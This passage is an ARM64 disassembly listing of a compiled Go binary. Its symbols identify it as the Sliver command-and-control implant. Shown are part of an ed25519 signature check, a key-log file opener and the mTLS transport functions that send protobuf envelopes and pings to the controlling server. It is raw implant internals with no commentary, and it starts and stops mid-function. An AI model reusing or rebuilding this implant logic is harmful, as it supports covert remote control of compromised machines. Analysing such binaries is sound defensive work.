    003dd6bcstr x5, [sp+296]
    003dd6c0orr x5, xzr, 32
    003dd6c4str x5, [sp+304]
    003dd6c8str x5, [sp+312]
    003dd6ccadd x5, sp, 418
    003dd6d0ldrsb x27, [x5]
    003dd6d4b 0x3dd6d8
    003dd6d8
    003dd6d8loc_3dd6d8:
    003dd6d8str x5, [sp+320]
    003dd6dcorr x5, xzr, 64
    003dd6e0str x5, [sp+328]
    003dd6e4str x5, [sp+336]
    003dd6e8ldr x1, [sp+496]
    003dd6ecldr x6, [sp+488]
    003dd6f0cbnz x6, 0x3dd6f8
    003dd6f4b 0x3dd6fc
    003dd6f8
    003dd6f8loc_3dd6f8:
    003dd6f8b 0x3dd708
    003dd6fc
    003dd6fcloc_3dd6fc:
    003dd6fcadrp x6, 0x66e000
    003dd700add x6, x6, 1504
    003dd704b 0x3dd708
    003dd708
    003dd708loc_3dd708:
    003dd708str x6, [sp+272]
    003dd70cstr x1, [sp+280]
    003dd710str x1, [sp+288]
    003dd714b 0x3dd718
    003dd718
    003dd718loc_3dd718:
    003dd718subs xzr, x1, 17
    003dd71cb.hs 0x3dd724
    003dd720b 0x3dd944
    003dd724
    003dd724loc_3dd724:
    003dd724sub x7, x1, 17
    003dd728sub x8, xzr, x7
    003dd72csub x9, x1, 17
    003dd730sbfm x8, x8, 63, 63
    003dd734movz x10, 17
    003dd738and x8, x8, x10
    003dd73cadd x6, x6, x8
    003dd740str x6, [sp+248]
    003dd744str x9, [sp+256]
    003dd748str x7, [sp+264]
    003dd74cldr x2, [sp+336]
    003dd750ldr x0, [sp+320]
    003dd754ldr x6, [sp+328]
    003dd758str x0, [sp+176]
    003dd75cstr x6, [sp+184]
    003dd760str x2, [sp+192]
    003dd764ldr x7, [sp+256]
    003dd768add x1, x6, x7
    003dd76cstr x1, [sp+96]
    003dd770subs xzr, x2, x1
    003dd774b.hs 0x3dd77c
    003dd778b 0x3dd784
    003dd77c
    003dd77cloc_3dd77c:
    003dd77cstr x1, [sp+184]
    003dd780b 0x3dd7a4
    003dd784
    003dd784loc_3dd784:
    003dd784ldr x3, [sp+256]
    003dd788adrp x4, 0x218000
    003dd78cadd x4, x4, 3072
    003dd790bl runtime.growslice
    003dd794str x0, [sp+176]
    003dd798str x1, [sp+184]
    003dd79cstr x2, [sp+192]
    003dd7a0b 0x3dd7a4
    003dd7a4
    003dd7a4loc_3dd7a4:
    003dd7a4ldr x3, [sp+256]
    003dd7a8str x3, [sp+88]
    003dd7acldr x3, [sp+96]
    003dd7b0ldr x4, [sp+256]
    003dd7b4sub x3, x3, x4
    003dd7b8ldr x4, [sp+176]
    003dd7bcadd x0, x4, x3
    003dd7c0str x0, [sp+168]
    003dd7c4ldr x2, [sp+88]
    003dd7c8ldr x1, [sp+248]
    003dd7ccbl runtime.memmove
    003dd7d0ldr x3, [sp+176]
    003dd7d4ldr x4, [sp+184]
    003dd7d8ldr x5, [sp+192]
    003dd7dcstr x3, [sp+224]
    003dd7e0str x4, [sp+232]
    003dd7e4str x5, [sp+240]
    003dd7e8add x6, sp, 504
    003dd7ecldrsb x27, [x6]
    003dd7f0b 0x3dd7f4
    003dd7f4
    003dd7f4loc_3dd7f4:
    003dd7f4str x6, [sp+200]
    003dd7f8orr x8, xzr, 64
    003dd7fcstr x8, [sp+208]
    003dd800str x8, [sp+216]
    003dd804ldr x3, [sp+224]
    003dd808ldr x4, [sp+232]
    003dd80cldr x5, [sp+240]
    003dd810ldr x0, [sp+296]
    003dd814ldr x1, [sp+304]
    003dd818ldr x2, [sp+312]
    003dd81cmov x7, x8
    003dd820bl golang.org/x/crypto/ed25519.Verify
    003dd824strb w0, [sp+87]
    003dd828tbnz w0, 0, 0x3dd830
    003dd82cb 0x3dd854
    003dd830
    003dd830loc_3dd830:
    003dd830orr x3, xzr, 1
    003dd834strb w3, [sp+83]
    003dd838stp xzr, xzr, [sp+104]
    003dd83cldrb w0, [sp+83]
    003dd840mov x1, xzr
    003dd844mov x2, xzr
    003dd848ldp x29, x30, [sp-8]
    003dd84cadd sp, sp, 384
    003dd850ret x30
    003dd854
    003dd854loc_3dd854:
    003dd854adrp x0, 0x2dc000
    003dd858add x0, x0, 1014
    003dd85corr x1, xzr, 24
    003dd860bl errors.New
    003dd864str x0, [sp+360]
    003dd868str x1, [sp+368]
    003dd86cstrb wzr, [sp+83]
    003dd870ldr x1, [sp+360]
    003dd874ldr x2, [sp+368]
    003dd878str x1, [sp+104]
    003dd87cstr x2, [sp+112]
    003dd880ldrb w0, [sp+83]
    003dd884ldp x29, x30, [sp-8]
    003dd888add sp, sp, 384
    003dd88cret x30
    003dd890
    003dd890loc_3dd890:
    003dd890adrp x0, 0x2d8000
    003dd894add x0, x0, 1254
    003dd898movz x1, 17
    003dd89cbl errors.New
    003dd8a0str x0, [sp+360]
    003dd8a4str x1, [sp+368]
    003dd8a8strb wzr, [sp+83]
    003dd8acldr x1, [sp+360]
    003dd8b0ldr x2, [sp+368]
    003dd8b4str x1, [sp+104]
    003dd8b8str x2, [sp+112]
    003dd8bcldrb w0, [sp+83]
    003dd8c0ldp x29, x30, [sp-8]
    003dd8c4add sp, sp, 384
    003dd8c8ret x30
    003dd8cc
    003dd8ccloc_3dd8cc:
    003dd8ccadrp x0, 0x2e7000
    003dd8d0add x0, x0, 3848
    003dd8d4movz x1, 41
    003dd8d8bl errors.New
    003dd8dcstr x0, [sp+360]
    003dd8e0str x1, [sp+368]
    003dd8e4strb wzr, [sp+83]
    003dd8e8ldr x1, [sp+360]
    003dd8ecldr x2, [sp+368]
    003dd8f0str x1, [sp+104]
    003dd8f4str x2, [sp+112]
    003dd8f8ldrb w0, [sp+83]
    003dd8fcldp x29, x30, [sp-8]
    003dd900add sp, sp, 384
    003dd904ret x30
    003dd908
    003dd908loc_3dd908:
    003dd908adrp x0, 0x2e0000
    003dd90cadd x0, x0, 3517
    003dd910orr x1, xzr, 31
    003dd914bl errors.New
    003dd918str x0, [sp+360]
    003dd91cstr x1, [sp+368]
    003dd920strb wzr, [sp+83]
    003dd924ldr x1, [sp+360]
    003dd928ldr x2, [sp+368]
    003dd92cstr x1, [sp+104]
    003dd930str x2, [sp+112]
    003dd934ldrb w0, [sp+83]
    003dd938ldp x29, x30, [sp-8]
    003dd93cadd sp, sp, 384
    003dd940ret x30
    003dd944
    003dd944loc_3dd944:
    003dd944movz x0, 17
    003dd948bl runtime.panicSliceB
    003dd94chint
    003dd950
    003dd950loc_3dd950:
    003dd950stp x0, x1, [sp+184]
    003dd954stp x2, x3, [sp+200]
    003dd958mov x3, x30
    003dd95cbl runtime.morestack_noctxt.abi0
    003dd960ldp x0, x1, [sp+184]
    003dd964ldp x2, x3, [sp+200]
    003dd968b 0x3dd2d0
    003dd96cudf 0
    003dd2d0
    003dd970
    003dd970github.com/bishopfox/sliver/implant/sliver/cryptography.newKeyLogger: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.newKeyLogger(void)
    003dd970ldr x16, [x28+16]
    003dd974sub x17, sp, 64
    003dd978subs xzr, x17, x16
    003dd97cb.ls 0x3dda84
    003dd980str x30, [sp-192]!
    003dd984stur x29, [sp-8]
    003dd988sub x29, sp, 8
    003dd98cstr xzr, [sp+56]
    003dd990stp xzr, xzr, [sp+104]
    003dd994adrp x0, 0x2d6000
    003dd998add x0, x0, 2330
    003dd99cmovz x1, 13
    003dd9a0bl os.LookupEnv
    003dd9a4str x0, [sp+104]
    003dd9a8str x1, [sp+112]
    003dd9acstrb w2, [sp+55]
    003dd9b0ldr x2, [sp+104]
    003dd9b4ldr x3, [sp+112]
    003dd9b8str x2, [sp+144]
    003dd9bcstr x3, [sp+152]
    003dd9c0ldrb w2, [sp+55]
    003dd9c4strb w2, [sp+54]
    003dd9c8ldr x2, [sp+144]
    003dd9ccldr x3, [sp+152]
    003dd9d0str x2, [sp+64]
    003dd9d4str x3, [sp+72]
    003dd9d8ldrb w2, [sp+54]
    003dd9dcstrb w2, [sp+53]
    003dd9e0tbnz w2, 0, 0x3dd9e8
    003dd9e4b 0x3dda70
    003dd9e8
    003dd9e8loc_3dd9e8:
    003dd9e8str xzr, [sp+176]
    003dd9ecstp xzr, xzr, [sp+160]
    003dd9f0ldr x0, [sp+64]
    003dd9f4ldr x1, [sp+72]
    003dd9f8movz x2, 1089
    003dd9fcorr x3, xzr, 384
    003dda00bl os.OpenFile
    003dda04str x0, [sp+176]
    003dda08str x1, [sp+160]
    003dda0cstr x2, [sp+168]
    003dda10ldr x4, [sp+176]
    003dda14str x4, [sp+136]
    003dda18ldr x4, [sp+168]
    003dda1cldr x5, [sp+160]
    003dda20str x5, [sp+120]
    003dda24str x4, [sp+128]
    003dda28ldr x4, [sp+136]
    003dda2cstr x4, [sp+80]
    003dda30ldr x4, [sp+128]
    003dda34ldr x5, [sp+120]
    003dda38str x5, [sp+88]
    003dda3cstr x4, [sp+96]
    003dda40cbnz x5, 0x3dda48
    003dda44b 0x3dda5c
    003dda48
    003dda48loc_3dda48:
    003dda48str xzr, [sp+56]
    003dda4cmov x0, xzr
    003dda50ldur x29, [sp-8]
    003dda54ldr x30, [sp], 192
    003dda58ret x30
    003dda5c
    003dda5cloc_3dda5c:
    003dda5cldr x0, [sp+80]
    003dda60str x0, [sp+56]
    003dda64ldur x29, [sp-8]
    003dda68ldr x30, [sp], 192
    003dda6cret x30
    003dda70
    003dda70loc_3dda70:
    003dda70str xzr, [sp+56]
    003dda74mov x0, xzr
    003dda78ldur x29, [sp-8]
    003dda7cldr x30, [sp], 192
    003dda80ret x30
    003dda84
    003dda84loc_3dda84:
    003dda84mov x3, x30
    003dda88bl runtime.morestack_noctxt.abi0
    003dda8cb 0x3dd970
    003dd970
    003dda90
    003dda90github.com/bishopfox/sliver/implant/sliver/cryptography.init.0.func1: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.init.0.func1(void)
    003dda90ldr x16, [x28+16]
    003dda94subs xzr, sp, x16
    003dda98b.ls 0x3ddb18
    003dda9cstr x30, [sp-112]!
    003ddaa0stur x29, [sp-8]
    003ddaa4sub x29, sp, 8
    003ddaa8stp xzr, xzr, [sp+32]
    003ddaacstr xzr, [sp+72]
    003ddab0stp xzr, xzr, [sp+56]
    003ddab4mov x0, xzr
    003ddab8mov x1, xzr
    003ddabcorr x2, xzr, 1
    003ddac0bl compress/gzip.NewWriterLevel
    003ddac4str x0, [sp+72]
    003ddac8str x1, [sp+56]
    003ddaccstr x2, [sp+64]
    003ddad0ldr x3, [sp+72]
    003ddad4str x3, [sp+96]
    003ddad8ldr x3, [sp+56]
    003ddadcldr x4, [sp+64]
    003ddae0str x3, [sp+80]
    003ddae4str x4, [sp+88]
    003ddae8ldr x3, [sp+96]
    003ddaecstr x3, [sp+48]
    003ddaf0str x3, [sp+72]
    003ddaf4adrp x4, 0x284000
    003ddaf8add x4, x4, 1440
    003ddafcstr x4, [sp+32]
    003ddb00str x3, [sp+40]
    003ddb04ldr x0, [sp+32]
    003ddb08ldr x1, [sp+40]
    003ddb0cldur x29, [sp-8]
    003ddb10ldr x30, [sp], 112
    003ddb14ret x30
    003ddb18
    003ddb18loc_3ddb18:
    003ddb18mov x3, x30
    003ddb1cbl runtime.morestack_noctxt.abi0
    003ddb20b 0x3dda90
    003ddb24udf 0
    003ddb28udf 0
    003ddb2cudf 0
    003dda90
    003ddb30
    003ddb30github.com/bishopfox/sliver/implant/sliver/transports/mtls.WriteEnvelope: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.WriteEnvelope(crypto/tls.Conn * connection, github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope)
    003ddb30ldr x16, [x28+16]
    003ddb34sub x17, sp, 384
    003ddb38subs xzr, x17, x16
    003ddb3cb.ls 0x3ddff0
    003ddb40sub x20, sp, 512
    003ddb44stp x29, x30, [x20-8]
    003ddb48add sp, x20, 0
    003ddb4csub x29, sp, 8
    003ddb50str x0, [sp+520]
    003ddb54str x1, [sp+528]
    003ddb58stp xzr, xzr, [sp+88]
    003ddb5cstr xzr, [sp+448]
    003ddb60stp xzr, xzr, [sp+456]
    003ddb64stp xzr, xzr, [sp+432]
    003ddb68ldr x1, [sp+528]
    003ddb6cadrp x0, 0x337000
    003ddb70add x0, x0, 1184
    003ddb74bl google.golang.org/protobuf/proto.Marshal
    003ddb78str x0, [sp+448]
    003ddb7cstr x1, [sp+456]
    003ddb80str x2, [sp+464]
    003ddb84str x3, [sp+432]
    003ddb88str x4, [sp+440]
    003ddb8cldr x2, [sp+448]
    003ddb90ldr x3, [sp+456]
    003ddb94ldr x4, [sp+464]
    003ddb98str x2, [sp+200]
    003ddb9cstr x3, [sp+208]
    003ddba0str x4, [sp+216]
    003ddba4ldr x2, [sp+432]
    003ddba8ldr x3, [sp+440]
    003ddbacstr x2, [sp+184]
    003ddbb0str x3, [sp+192]
    003ddbb4ldr x2, [sp+200]
    003ddbb8ldr x3, [sp+208]
    003ddbbcldr x4, [sp+216]
    003ddbc0str x2, [sp+160]
    003ddbc4str x3, [sp+168]
    003ddbc8str x4, [sp+176]
    003ddbccldr x2, [sp+192]
    003ddbd0ldr x3, [sp+184]
    003ddbd4str x3, [sp+136]
    003ddbd8str x2, [sp+144]
    003ddbdccbnz x3, 0x3ddbe4
    003ddbe0b 0x3ddce8
    003ddbe4
    003ddbe4loc_3ddbe4:
    003ddbe4stp xzr, xzr, [sp+400]
    003ddbe8stp xzr, xzr, [sp+416]
    003ddbecadd x3, sp, 400
    003ddbf0str x3, [sp+360]
    003ddbf4ldrsb x27, [x3]
    003ddbf8adrp x4, 0x218000
    003ddbfcadd x4, x4, 2944
    003ddc00str x4, [x3]
    003ddc04adrp x27, 0x66e000
    003ddc08ldr w4, [x27+3056]
    003ddc0ccbz w4, 0x3ddc14
    003ddc10b 0x3ddc18
    003ddc14
    003ddc14loc_3ddc14:
    003ddc14b 0x3ddc28
    003ddc18
    003ddc18loc_3ddc18:
    003ddc18ldr x4, [x3+8]
    003ddc1cbl runtime.gcWriteBarrier1
    003ddc20str x4, [x25]
    003ddc24b 0x3ddc28
    003ddc28
    003ddc28loc_3ddc28:
    003ddc28adrp x4, 0x335000
    003ddc2cadd x4, x4, 384
    003ddc30str x4, [x3+8]
    003ddc34ldr x3, [sp+136]
    003ddc38ldr x4, [sp+144]
    003ddc3cstr x3, [sp+344]
    003ddc40str x4, [sp+352]
    003ddc44str x3, [sp+336]
    003ddc48ldr x3, [sp+336]
    003ddc4ccbnz x3, 0x3ddc54
    003ddc50b 0x3ddc64
    003ddc54
    003ddc54loc_3ddc54:
    003ddc54ldr x3, [sp+336]
    003ddc58ldr x3, [x3+8]
    003ddc5cstr x3, [sp+336]
    003ddc60b 0x3ddc68
    003ddc64
    003ddc64loc_3ddc64:
    003ddc64b 0x3ddc68
    003ddc68
    003ddc68loc_3ddc68:
    003ddc68ldr x3, [sp+360]
    003ddc6cldrsb x27, [x3]
    003ddc70ldr x4, [sp+336]
    003ddc74ldr x5, [sp+352]
    003ddc78str x4, [x3+16]
    003ddc7cadrp x27, 0x66e000
    003ddc80ldr w4, [x27+3056]
    003ddc84cbz w4, 0x3ddc8c
    003ddc88b 0x3ddc90
    003ddc8c
    003ddc8cloc_3ddc8c:
    003ddc8cb 0x3ddca4
    003ddc90
    003ddc90loc_3ddc90:
    003ddc90bl runtime.gcWriteBarrier2
    003ddc94str x5, [x25]
    003ddc98ldr x4, [x3+24]
    003ddc9cstr x4, [x25+8]
    003ddca0b 0x3ddca4
    003ddca4
    003ddca4loc_3ddca4:
    003ddca4str x5, [x3+24]
    003ddca8ldr x0, [sp+360]
    003ddcacldrsb x27, [x0]
    003ddcb0b 0x3ddcb4
    003ddcb4
    003ddcb4loc_3ddcb4:
    003ddcb4str x0, [sp+368]
    003ddcb8orr x2, xzr, 2
    003ddcbcstr x2, [sp+376]
    003ddcc0str x2, [sp+384]
    003ddcc4mov x1, x2
    003ddcc8bl log.Print
    003ddcccldr x0, [sp+136]
    003ddcd0ldr x1, [sp+144]
    003ddcd4str x0, [sp+88]
    003ddcd8str x1, [sp+96]
    003ddcdcldp x29, x30, [sp-8]
    003ddce0add sp, sp, 512
    003ddce4ret x30
    003ddce8
    003ddce8loc_3ddce8:
    003ddce8adrp x0, 0x275000
    003ddcecadd x0, x0, 2048
    003ddcf0bl runtime.newobject
    003ddcf4str x0, [sp+152]
    003ddcf8str x0, [sp+392]
    003ddcfcldr x1, [sp+168]
    003ddd00str x1, [sp+72]
    003ddd04str w1, [sp+60]
    003ddd08ldr x1, [sp+392]
    003ddd0cadrp x0, 0x336000
    003ddd10add x0, x0, 2976
    003ddd14adrp x2, 0x33d000
    003ddd18add x2, x2, 2128
    003ddd1cadrp x3, 0x66e000
    003ddd20add x3, x3, 1504
    003ddd24adrp x4, 0x218000
    003ddd28add x4, x4, 3328
    003ddd2cadd x5, sp, 60
    003ddd30bl encoding/binary.Write
    003ddd34ldr x0, [sp+152]
    003ddd38bl bytes.(*Buffer).Bytes
    003ddd3cstr x0, [sp+448]
    003ddd40str x1, [sp+456]
    003ddd44str x2, [sp+464]
    003ddd48stp xzr, xzr, [sp+432]
    003ddd4cldr x0, [sp+520]
    003ddd50ldr x1, [sp+448]
    003ddd54ldr x2, [sp+456]
    003ddd58ldr x3, [sp+464]
    003ddd5cbl crypto/tls.(*Conn).Write
    003ddd60str x0, [sp+72]
    003ddd64str x1, [sp+432]
    003ddd68str x2, [sp+440]
    003ddd6cldr x3, [sp+72]
    003ddd70str x3, [sp+64]
    003ddd74str x1, [sp+488]
    003ddd78str x2, [sp+496]
    003ddd7cstr x1, [sp+120]
    003ddd80str x2, [sp+128]
    003ddd84cbnz x1, 0x3ddd8c
    003ddd88b 0x3dde90
    003ddd8c
    003ddd8cloc_3ddd8c:
    003ddd8cstp xzr, xzr, [sp+400]
    003ddd90stp xzr, xzr, [sp+416]
    003ddd94add x3, sp, 400
    003ddd98str x3, [sp+304]
    003ddd9cldrsb x27, [x3]
    003ddda0adrp x4, 0x218000
    003ddda4add x4, x4, 2944
    003ddda8str x4, [x3]
    003dddacadrp x27, 0x66e000
    003dddb0ldr w4, [x27+3056]
    003dddb4cbz w4, 0x3dddbc
    003dddb8b 0x3dddc0
    003dddbc
    003dddbcloc_3dddbc:
    003dddbcb 0x3dddd0
    003dddc0
    003dddc0loc_3dddc0:
    003dddc0ldr x4, [x3+8]
    003dddc4bl runtime.gcWriteBarrier1
    003dddc8str x4, [x25]
    003dddccb 0x3dddd0
    003dddd0
    003dddd0loc_3dddd0:
    003dddd0adrp x4, 0x335000
    003dddd4add x4, x4, 400
    003dddd8str x4, [x3+8]
    003ddddcldr x3, [sp+120]
    003ddde0ldr x4, [sp+128]
    003ddde4str x3, [sp+288]
    003ddde8str x4, [sp+296]
    003dddecstr x3, [sp+280]
    003dddf0ldr x3, [sp+280]
    003dddf4cbnz x3, 0x3dddfc
    003dddf8b 0x3dde0c
    003dddfc
    003dddfcloc_3dddfc:
    003dddfcldr x3, [sp+280]
    003dde00ldr x3, [x3+8]
    003dde04str x3, [sp+280]
    003dde08b 0x3dde10
    003dde0c
    003dde0cloc_3dde0c:
    003dde0cb 0x3dde10
    003dde10
    003dde10loc_3dde10:
    003dde10ldr x3, [sp+304]
    003dde14ldrsb x27, [x3]
    003dde18ldr x4, [sp+280]
    003dde1cldr x5, [sp+296]
    003dde20str x4, [x3+16]
    003dde24adrp x27, 0x66e000
    003dde28ldr w4, [x27+3056]
    003dde2ccbz w4, 0x3dde34
    003dde30b 0x3dde38
    003dde34
    003dde34loc_3dde34:
    003dde34b 0x3dde4c
    003dde38
    003dde38loc_3dde38:
    003dde38bl runtime.gcWriteBarrier2
    003dde3cstr x5, [x25]
    003dde40ldr x4, [x3+24]
    003dde44str x4, [x25+8]
    003dde48b 0x3dde4c
    003dde4c
    003dde4cloc_3dde4c:
    003dde4cstr x5, [x3+24]
    003dde50ldr x0, [sp+304]
    003dde54ldrsb x27, [x0]
    003dde58b 0x3dde5c
    003dde5c
    003dde5cloc_3dde5c:
    003dde5cstr x0, [sp+312]
    003dde60orr x2, xzr, 2
    003dde64str x2, [sp+320]
    003dde68str x2, [sp+328]
    003dde6cmov x1, x2
    003dde70bl log.Print
    003dde74ldr x0, [sp+120]
    003dde78ldr x1, [sp+128]
    003dde7cstr x0, [sp+88]
    003dde80str x1, [sp+96]
    003dde84ldp x29, x30, [sp-8]
    003dde88add sp, sp, 512
    003dde8cret x30
    003dde90
    003dde90loc_3dde90:
    003dde90stp xzr, xzr, [sp+432]
    003dde94ldr x1, [sp+160]
    003dde98ldr x2, [sp+168]
    003dde9cldr x3, [sp+176]
    003ddea0ldr x0, [sp+520]
    003ddea4bl crypto/tls.(*Conn).Write
    003ddea8str x0, [sp+72]
    003ddeacstr x1, [sp+432]
    003ddeb0str x2, [sp+440]
    003ddeb4ldr x4, [sp+72]
    003ddeb8str x4, [sp+80]
    003ddebcstr x1, [sp+472]
    003ddec0str x2, [sp+480]
    003ddec4str x1, [sp+104]
    003ddec8str x2, [sp+112]
    003ddecccbnz x1, 0x3dded4
    003dded0b 0x3ddfd8
    003dded4
    003dded4loc_3dded4:
    003dded4stp xzr, xzr, [sp+400]
    003dded8stp xzr, xzr, [sp+416]
    003ddedcadd x3, sp, 400
    003ddee0str x3, [sp+248]
    003ddee4ldrsb x27, [x3]
    003ddee8adrp x4, 0x218000
    003ddeecadd x4, x4, 2944
    003ddef0str x4, [x3]
    003ddef4adrp x27, 0x66e000
    003ddef8ldr w4, [x27+3056]
    003ddefccbz w4, 0x3ddf04
    003ddf00b 0x3ddf08
    003ddf04
    003ddf04loc_3ddf04:
    003ddf04b 0x3ddf18
    003ddf08
    003ddf08loc_3ddf08:
    003ddf08ldr x4, [x3+8]
    003ddf0cbl runtime.gcWriteBarrier1
    003ddf10str x4, [x25]
    003ddf14b 0x3ddf18
    003ddf18
    003ddf18loc_3ddf18:
    003ddf18adrp x4, 0x335000
    003ddf1cadd x4, x4, 416
    003ddf20str x4, [x3+8]
    003ddf24ldr x3, [sp+104]
    003ddf28ldr x4, [sp+112]
    003ddf2cstr x3, [sp+232]
    003ddf30str x4, [sp+240]
    003ddf34str x3, [sp+224]
    003ddf38ldr x3, [sp+224]
    003ddf3ccbnz x3, 0x3ddf44
    003ddf40b 0x3ddf54
    003ddf44
    003ddf44loc_3ddf44:
    003ddf44ldr x3, [sp+224]
    003ddf48ldr x3, [x3+8]
    003ddf4cstr x3, [sp+224]
    003ddf50b 0x3ddf58
    003ddf54
    003ddf54loc_3ddf54:
    003ddf54b 0x3ddf58
    003ddf58
    003ddf58loc_3ddf58:
    003ddf58ldr x3, [sp+248]
    003ddf5cldrsb x27, [x3]
    003ddf60ldr x4, [sp+224]
    003ddf64ldr x5, [sp+240]
    003ddf68str x4, [x3+16]
    003ddf6cadrp x27, 0x66e000
    003ddf70ldr w4, [x27+3056]
    003ddf74cbz w4, 0x3ddf7c
    003ddf78b 0x3ddf80
    003ddf7c
    003ddf7cloc_3ddf7c:
    003ddf7cb 0x3ddf94
    003ddf80
    003ddf80loc_3ddf80:
    003ddf80bl runtime.gcWriteBarrier2
    003ddf84str x5, [x25]
    003ddf88ldr x4, [x3+24]
    003ddf8cstr x4, [x25+8]
    003ddf90b 0x3ddf94
    003ddf94
    003ddf94loc_3ddf94:
    003ddf94str x5, [x3+24]
    003ddf98ldr x0, [sp+248]
    003ddf9cldrsb x27, [x0]
    003ddfa0b 0x3ddfa4
    003ddfa4
    003ddfa4loc_3ddfa4:
    003ddfa4str x0, [sp+256]
    003ddfa8orr x2, xzr, 2
    003ddfacstr x2, [sp+264]
    003ddfb0str x2, [sp+272]
    003ddfb4mov x1, x2
    003ddfb8bl log.Print
    003ddfbcldr x0, [sp+104]
    003ddfc0ldr x1, [sp+112]
    003ddfc4str x0, [sp+88]
    003ddfc8str x1, [sp+96]
    003ddfccldp x29, x30, [sp-8]
    003ddfd0add sp, sp, 512
    003ddfd4ret x30
    003ddfd8
    003ddfd8loc_3ddfd8:
    003ddfd8stp xzr, xzr, [sp+88]
    003ddfdcmov x0, xzr
    003ddfe0mov x1, xzr
    003ddfe4ldp x29, x30, [sp-8]
    003ddfe8add sp, sp, 512
    003ddfecret x30
    003ddff0
    003ddff0loc_3ddff0:
    003ddff0stp x0, x1, [sp+8]
    003ddff4mov x3, x30
    003ddff8bl runtime.morestack_noctxt.abi0
    003ddffcldp x0, x1, [sp+8]
    003de000b 0x3ddb30
    003de004udf 0
    003de008udf 0
    003de00cudf 0
    003ddb30
    003de010
    003de010github.com/bishopfox/sliver/implant/sliver/transports/mtls.WritePing: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.WritePing(crypto/tls.Conn * connection)
    003de010ldr x16, [x28+16]
    003de014sub x17, sp, 240
    003de018subs xzr, x17, x16
    003de01cb.ls 0x3de27c
    003de020sub x20, sp, 368
    003de024stp x29, x30, [x20-8]
    003de028add sp, x20, 0
    003de02csub x29, sp, 8
    003de030str x0, [sp+376]
    003de034stp xzr, xzr, [sp+56]
    003de038stp xzr, xzr, [sp+144]
    003de03cadd x0, sp, 144
    003de040str x0, [sp+320]
    003de044ldrsb x27, [x0]
    003de048adrp x3, 0x217000
    003de04cadd x3, x3, 2944
    003de050str x3, [x0]
    003de054adrp x27, 0x66d000
    003de058ldr w3, [x27+3056]
    003de05ccbz w3, 0x3de064
    003de060b 0x3de068
    003de064
    003de064loc_3de064:
    003de064b 0x3de078
    003de068
    003de068loc_3de068:
    003de068ldr x3, [x0+8]
    003de06cbl runtime.gcWriteBarrier1
    003de070str x3, [x25]
    003de074b 0x3de078
    003de078
    003de078loc_3de078:
    003de078adrp x3, 0x334000
    003de07cadd x3, x3, 432
    003de080str x3, [x0+8]
    003de084ldrsb x27, [x0]
    003de088b 0x3de08c
    003de08c
    003de08cloc_3de08c:
    003de08cstr x0, [sp+328]
    003de090orr x2, xzr, 1
    003de094str x2, [sp+336]
    003de098str x2, [sp+344]
    003de09cmov x1, x2
    003de0a0bl log.Print
    003de0a4adrp x0, 0x29e000
    003de0a8add x0, x0, 3616
    003de0acbl runtime.newobject
    003de0b0str x0, [sp+312]
    003de0b4adrp x27, 0x66d000
    003de0b8ldr w3, [x27+3056]
    003de0bccbz w3, 0x3de0c4
    003de0c0b 0x3de0c8
    003de0c4
    003de0c4loc_3de0c4:
    003de0c4b 0x3de0e4
    003de0c8
    003de0c8loc_3de0c8:
    003de0c8str x0, [sp+216]
    003de0ccmov x1, x0
    003de0d0adrp x0, 0x29e000
    003de0d4add x0, x0, 3616
    003de0d8bl runtime.wbZero
    003de0dcldr x0, [sp+216]
    003de0e0b 0x3de0e4
    003de0e4
    003de0e4loc_3de0e4:
    003de0e4stp xzr, xzr, [x0]
    003de0e8stp xzr, xzr, [x0+16]
    003de0ecstp xzr, xzr, [x0+32]
    003de0f0stp xzr, xzr, [x0+48]
    003de0f4ldr x2, [sp+312]
    003de0f8ldrsb x27, [x2]
    003de0fcmovz x3, 31337
    003de100str w3, [x2+8]
    003de104ldr x2, [sp+312]
    003de108str x2, [sp+136]
    003de10cstp xzr, xzr, [sp+112]
    003de110str xzr, [sp+128]
    003de114stp xzr, xzr, [sp+96]
    003de118ldr x1, [sp+136]
    003de11cadrp x0, 0x336000
    003de120add x0, x0, 1024
    003de124bl google.golang.org/protobuf/proto.Marshal
    003de128str x0, [sp+112]
    003de12cstr x1, [sp+120]
    003de130str x2, [sp+128]
    003de134str x3, [sp+96]
    003de138str x4, [sp+104]
    003de13cldr x2, [sp+112]
    003de140ldr x3, [sp+120]
    003de144ldr x4, [sp+128]
    003de148str x2, [sp+176]
    003de14cstr x3, [sp+184]
    003de150str x4, [sp+192]
    003de154ldr x2, [sp+96]
    003de158ldr x3, [sp+104]
    003de15cstr x2, [sp+160]
    003de160str x3, [sp+168]
    003de164ldr x2, [sp+176]
    003de168ldr x3, [sp+184]
    003de16cldr x4, [sp+192]
    003de170str x2, [sp+72]
    003de174str x3, [sp+80]
    003de178str x4, [sp+88]
    003de17cadrp x0, 0x2a6000
    003de180add x0, x0, 2848
    003de184bl runtime.newobject
    003de188str x0, [sp+352]
    003de18cadd x20, sp, 224
    003de190adr x27, 16
    003de194stp x29, x27, [sp-24]
    003de198sub x29, sp, 24
    003de19cbl fn_87cfc
    003de1a0sub x29, sp, 8
    003de1a4str xzr, [sp+304]
    003de1a8orr x2, xzr, 3
    003de1acstr w2, [sp+240]
    003de1b0ldr x3, [sp+72]
    003de1b4ldr x4, [sp+80]
    003de1b8ldr x5, [sp+88]
    003de1bcstr x3, [sp+248]
    003de1c0str x4, [sp+256]
    003de1c4str x5, [sp+264]
    003de1c8ldr x20, [sp+352]
    003de1ccstr x20, [sp+208]
    003de1d0adrp x27, 0x66d000
    003de1d4ldr w6, [x27+3056]
    003de1d8cbz w6, 0x3de1e0
    003de1dcb 0x3de1e4
    003de1e0
    003de1e0loc_3de1e0:
    003de1e0b 0x3de228
    003de1e4
    003de1e4loc_3de1e4:
    003de1e4str x3, [sp+200]
    003de1e8str x4, [sp+48]
    003de1ecstr x5, [sp+40]
    003de1f0bl runtime.gcWriteBarrier2
    003de1f4str x3, [x25]
    003de1f8ldr x2, [x20+24]
    003de1fcstr x2, [x25+8]
    003de200adrp x0, 0x2a6000
    003de204add x0, x0, 2848
    003de208mov x1, x20
    003de20cbl runtime.wbZero
    003de210orr x2, xzr, 3
    003de214ldr x3, [sp+200]
    003de218ldr x4, [sp+48]
    003de21cldr x5, [sp+40]
    003de220ldr x20, [sp+208]
    003de224b 0x3de228
    003de228
    003de228loc_3de228:
    003de228adr x27, 16
    003de22cstp x29, x27, [sp-24]
    003de230sub x29, sp, 24
    003de234bl fn_87cfc
    003de238sub x29, sp, 8
